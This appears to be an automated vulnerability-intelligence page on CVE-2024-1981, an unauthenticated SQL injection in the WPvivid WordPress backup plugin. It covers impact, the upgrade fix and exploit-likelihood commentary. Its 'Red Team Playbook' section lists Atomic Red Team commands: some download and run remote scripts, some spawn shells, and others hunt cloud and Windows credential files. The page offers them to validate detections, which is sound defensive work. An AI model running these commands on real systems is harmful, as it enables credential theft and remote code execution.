CVE-2024-1981
Overview
This vulnerability is a SQL Injection flaw present in the WPvivid Migration, Backup, Staging WordPress plugin version 0.9.68. The root cause is insufficient sanitization and escaping of the 'table_prefix' parameter, which is directly incorporated into SQL queries without proper parameterization or prepared statements. This improper handling occurs within the plugin's database query construction logic, allowing injection of arbitrary SQL commands.
Vulnerability Description
The Migration, Backup, Staging – WPvivid plugin for WordPress is vulnerable to SQL Injection via the 'table_prefix' parameter in version 0.9.68 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
Impact
An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary SQL queries on the WordPress database, potentially extracting sensitive data or modifying database contents. No user interaction or authentication is required due to the network-accessible nature of the affected parameter (CVSS vector AV:N/AC:L/PR:N/UI:N). Successful exploitation can lead to full confidentiality, integrity, and availability compromise of the database, impacting the website's data security and operational stability.
Solution
Users should upgrade the WPvivid Migration, Backup, Staging plugin to the latest patched version that addresses this SQL Injection flaw. Refer to the vendor advisory and Wordfence threat intelligence report at https://www.wordfence.com/threat-intel/vulnerabilities/id/ef8bfb38-4f20-4f9f-bb30-a88f3be2d2d3 for detailed patch instructions. The plugin's changelog and WordPress plugin repository confirm that versions after 0.9.68 include the necessary fixes. No specific workarounds are recommended beyond applying the official update promptly.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the WPvivid plugin for WordPress arises from an SQL Injection flaw linked to the 'table_prefix' parameter. This issue is primarily due to insufficient input validation and escaping of user-supplied data, which allows attackers to manipulate SQL queries executed by the application. When the application fails to properly sanitize inputs, it creates an opportunity for malicious actors to inject arbitrary SQL code. This can lead to unauthorized access to the underlying database, enabling attackers to execute additional queries that can extract sensitive information, modify data, or even delete records.
Exploitation of this vulnerability can occur through various attack vectors, particularly targeting unauthenticated users. An attacker could craft a specially formatted request that includes malicious SQL code in the 'table_prefix' parameter. By sending this request to the vulnerable application, the attacker can manipulate the SQL query to retrieve data such as user credentials, personal information, or other sensitive data stored in the database. This type of attack does not require prior authentication, making it particularly dangerous as it lowers the barrier for exploitation. Furthermore, if the attacker successfully executes additional SQL commands, they could escalate their privileges or compromise the integrity of the database.
The real-world impact of this vulnerability is significant, particularly for businesses that rely on the WPvivid plugin for migration, backup, and staging processes. The potential for data breaches can lead to severe consequences, including financial loss, reputational damage, and legal liabilities. Organizations may face regulatory scrutiny if sensitive customer data is exposed, leading to fines and loss of customer trust. Additionally, the compromised data could be used for further attacks, such as phishing campaigns or identity theft, amplifying the risk to both the organization and its users.
To detect and mitigate this vulnerability, organizations should implement several strategies. Regularly updating the WPvivid plugin to the latest version is crucial, as developers often release patches to address known vulnerabilities. Conducting security audits and code reviews can help identify potential weaknesses in the application, including improper input validation. Employing web application firewalls (WAFs) can provide an additional layer of security by filtering and monitoring HTTP requests for malicious content. Furthermore, organizations should adopt a principle of least privilege for database access, ensuring that applications have only the permissions necessary to function, thereby minimizing the potential impact of an SQL injection attack.
In conclusion, the SQL Injection vulnerability in the WPvivid plugin poses a serious threat to the security of WordPress installations. The ease of exploitation, combined with the potential for significant data breaches, underscores the importance of proactive security measures. By prioritizing timely updates, rigorous input validation, and robust access controls, organizations can better protect themselves against the risks associated with this vulnerability and safeguard their sensitive data from malicious actors.
CSURFACE threat intelligence has identified a significant increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2024-1981, reflecting a marked rise in the likelihood of exploitation attempts targeting the WPvivid plugin’s SQL injection vulnerability. The EPSS score has risen by over 30%, placing this vulnerability near the upper percentile of exploitation risk. This upward trend, although not yet classified as rapidly accelerating, signals growing attacker interest and potential preparatory activity in the wild. While no new exploit code or active exploitation campaigns have been detected by our sensors, the elevated EPSS score suggests that threat actors may be refining or testing attack vectors, increasing the probability of imminent exploitation attempts. For defenders, this change underscores an elevated risk posture that demands heightened vigilance and prioritization in vulnerability management. The increased EPSS score effectively raises the threat level from a latent to a more imminent concern, indicating that organizations using the affected WPvivid plugin should anticipate a greater likelihood of targeted attacks exploiting this critical SQL injection flaw.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Wpvivid | Migration\, Backup\, Staging | All |
cpe:2.3:a:wpvivid:migration\,_backup\,_staging:*:*:*:*:*:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-1981 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/ef8bfb38-4f20-4f9f-bb30-a88f3be2d2d3?source=cve |
| research.hisolutions.com |
GitHub CVE
|
https://research.hisolutions.com/2024/01/multiple-vulnerabilities-in-wordpress-plugin-wpvivid-backup-and-migration/ |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset?old_path=%2Fwpvivid-backuprestore%2Ftrunk&old=2667839&new_path=%2Fwpvivid-backuprestore%2Ftrunk&new=2667839 |